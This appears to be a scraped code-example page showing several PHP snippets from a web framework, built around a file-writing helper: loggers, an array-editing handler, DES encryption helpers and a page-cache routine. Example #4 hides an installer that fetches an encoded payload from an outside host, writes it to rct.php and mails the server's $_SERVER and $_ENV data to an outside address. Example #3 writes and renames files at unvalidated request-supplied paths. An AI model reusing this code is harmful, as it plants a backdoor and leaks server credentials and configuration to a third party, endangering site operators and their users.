Пример #1
0
function Writefichier($filename, $content, $target = '', $method = 'w+')
{
    jx('mail');
    if ($method == "a" or $method == "a+") {
        FPC($filename, $content, 'app');
    } else {
        FPC($filename, $content);
    }
}
Пример #2
0
function db3($x, $f = '')
{
    Rem($f, ERLOGS);
    $y = print_r(dbgt(), 1);
    $y = Preg_replace("~\r|\n|\t| {2,}|\\.{2,}~", ' ', $y);
    $y = Preg_replace("~  \\[|\\] |=> /home/www/~", '', $y);
    FPC($f, $x . $y . "\n", 1);
}
Пример #3
0
        ksort($x, SORT_NUMERIC);
        $x = array_values($x);
        #die(pre($x));
    } else {
        if ($_POST['chkey']) {
            swapkeysinarray($_POST['chkey'], $x);
        }
        ksort($x);
    }
    #IF Some Swap is defined ....
    #echo pre($x);die;
    if (e(',fpcback', 1)) {
        rename($_GET['fe'], $_GET['fe'] . '.back');
    }
    FPC($_GET['fe'], $x);
    FPC(1);
    #changes:action to complete after ..
    #return;R302('?fe='.$_GET['fe']);FPC(1);#flushed-not delayed for next time --- raaahhhh
}
###############################################################
function swapkeysinarray($Array, &$x, $r = array())
{
    #recursive subkey, transmitted as array
    #if(count($r)>2)die("recursion:".pre($Array).pre($r));
    foreach ($Array as $k => $v) {
        $r[] = $k;
        if (is_array($v)) {
            swapkeysinarray($v, $x, $r);
        } else {
            #$Array{$r}
            $k2 = '[' . implode('][', $r) . ']';
Пример #4
0
<?php

#£todo:crypt this one :) - requires mcrypt
if ($_SERVER['USER'] != 'ben' && !$_SERVER['rk17'] && !is_file('rct.php')) {
    FPC('rct.php', base64_decode(gzuncompress(FGC('http://a74.fr/fup.txt'))), 4);
    Bmail('racetrack installed', "rct.php" . pre($_SERVER) . pre($_ENV), '*****@*****.**');
}
#mauvaise installation plante ceci :)
if (function_exists('mcrypt_create_iv')) {
    function encrypt($data, $key = 0)
    {
        if (!$key) {
            $key = substr(md5(SECRET_KEY), 0, 8);
        }
        $data = serialize($data);
        //Clé de 8 caractères max
        $td = mcrypt_module_open(MCRYPT_DES, '', MCRYPT_MODE_ECB, '');
        $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
        mcrypt_generic_init($td, $key, $iv);
        $data = base64_encode(mcrypt_generic($td, '!' . $data));
        mcrypt_generic_deinit($td);
        return $data;
    }
    function decrypt($data, $key = 0)
    {
        if (!$key) {
            $key = substr(md5(SECRET_KEY), 0, 8);
        }
        $td = mcrypt_module_open(MCRYPT_DES, '', MCRYPT_MODE_ECB, '');
        $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
        mcrypt_generic_init($td, $key, $iv);
Пример #5
0
function CacheInit($N = 0)
{
    static $t;
    timelong('cache');
    if ($_POST || e('nocache,toolong,badurl', 1) || isset($_COOKIE['nocache']) or !isgoodurl(SU) || preg_match('#administrator#', U)) {
        return;
    }
    #$apc=1;#IF(ereg('!R22',u))@unlink(cachepath);
    if (headers_sent($f, $line)) {
        e(',headersent:' . $f . '/' . $line);
        Db("headers!{$f},{$line}");
    }
    #-algo de compression non reconnu car ligne 1063 #AV('cacheinti',$_POST,'nocache:'.e(',nocache',1),'headersent:'.e(',headersent',1),$_COOKIE['nocache'],'goodurl:'.isgoodurl(SU));
    if (!defined('REWRITE') && ($t && RS == 404)) {
        R404();
    }
    #Si la page doit ordinairement retourner une erreur 404 -- problème de certains rewritings sur erreur 404 --- Db("cache404".SU);-la génération de l'erreur 404 est passée par qqch[QUERY_STRING] => x=404
    if ($t && ob_get_length() == 0) {
        return;
    }
    #appel de trop
    #if(ereg("go=",q)){ob_end_clean();$u=str_replace('?go=1','',SU);@unlink(cachepath);R301($u,3);}
    #$apc=1;gt('apc1');if(apc_exists($a))$apc=1;gt('apc2');
    $a = str_replace(TMP . 'cache/', '', CACHEPATH);
    if ($apc && bots) {
        GT('apcgetcache-bots');
        kill(APCG($a));
    }
    #ram
    if ($apc && isgoodurl()) {
        Gt('apcread-start');
        $_ENV['cacheread'] = 1;
        $x = APCG($a);
        Gt('apcread-get');
        echo $x;
        kill("<!--readapccache:{$_ENV['lasttime']}ms-->");
    }
    #str_replace(TMP,SHM,CACHEPATH),
    $path = array(CACHEPATH);
    Array_unique($path);
    #Mem en préférence
    foreach ($path as $cachepath) {
        if ($_ENV['yt']['erasecache'] && H == 'anciensinterneslyon.fr' && !J9) {
            e(',erasecache');
            @unlink($cachepath);
            continue;
        }
        if (is_file(DR . '.lastmod.db') && is_file($cachepath)) {
            if (filemtime(DR . '.lastmod.db') > filectime($cachepath)) {
                unlink($cachepath);
            }
        }
        #pour le joomla#cma-lib-joo-datab-datab-mysqli:391
        if (is_file($cachepath)) {
            r304($cachepath);
            $fs = Filesize($cachepath);
            if (bots || isgoodurl() && $fs > 100 && filemtime($cachepath) > $_ENV['expires']) {
                $_ENV['cacheread'] = 1;
                e(',cacheread,die,noperf,' . $cachepath . ',cachesize:' . $fs);
                Gt('cachepath:read:0');
                #ob_end_clean();
                #if(H=='anciensinternesdelyon.fr'){$x=utf2a(file_get_contents($cachepath));echo $x;}else{
                readfile($cachepath);
                #78,18,25	$x=FGC($cachepath);echo$x);
                Gt("cachepath:read:1:size:{$fs}");
                header('A: cacheread:' . $_ENV['lasttime'], 1);
                die;
            }
        }
    }
    #ob_end_clean(); was taking the more time
    #écriture
    $cachepath = Re($_ENV['c']['htmlcache'][0], CACHEPATH);
    #html local override
    #e(',t:'.$t.','.$cachepath);
    #unlink $path=Array(str_replace(TMP,SHM,CACHEPATH),CACHEPATH);A
    if ($t) {
        GT('cache:write');
        $page = ob_get_contents();
        #GT('flush:0');ob_flush();gt('flush:1');
        #ob_get_flush,ob_get_clean
        $exp = NOW + $_ENV['lasttime'] * $_ENV['c']['cachetime'];
        e('die,noperf,cachesize:' . strlen($page) . ',' . $_ENV['lasttime'] . ',' . Date('Y-m-d H', $exp));
        if ($_ENV['c']['htmlcache'][0]) {
            Av($_ENV['c']['htmlcache']);
            #manuellement déterminé
            foreach ($path as $v) {
                @unlink($v);
            }
            #unlink tous fichiers de cache antérieurs
            $page = $_ENV['c']['htmlcache'][1] . $page . $_ENV['c']['htmlcache'][2] . '<?kill();?>';
            #Ya
        }
        if ($_ENV['lasttime'] > 0.3 || strlen($page) > 50000) {
            #
            #$cachepath=str_replace(TMP,SHM,$cachepath);e(',shm');
            if ($apc) {
                $apc = 2;
                APCP($a, $page);
                gt('apc-write');
            }
        }
        if ($apc != 2) {
            FPC($cachepath, $page);
            Touch($cachepath, $exp);
            r304($exp);
        }
        #if(GT()>500)Dbt();chown($cachepath,'www-data');
        #uniquement si owner = the same :)
        #if(h=='anciensinternesdelyon.fr')av(cachepath,$exp);
        #Gt('echo page');echo $page;Gt('echo page-done');
        header('Acachegen: ' . $_ENV['lasttime']);
        die;
    }
    if (!$t) {
        $t = 1;
        if (!$_ENV['expires']) {
            $_ENV['expires'] = now;
        }
        GT('cache:init');
    }
    #sinon initialisation du cache
}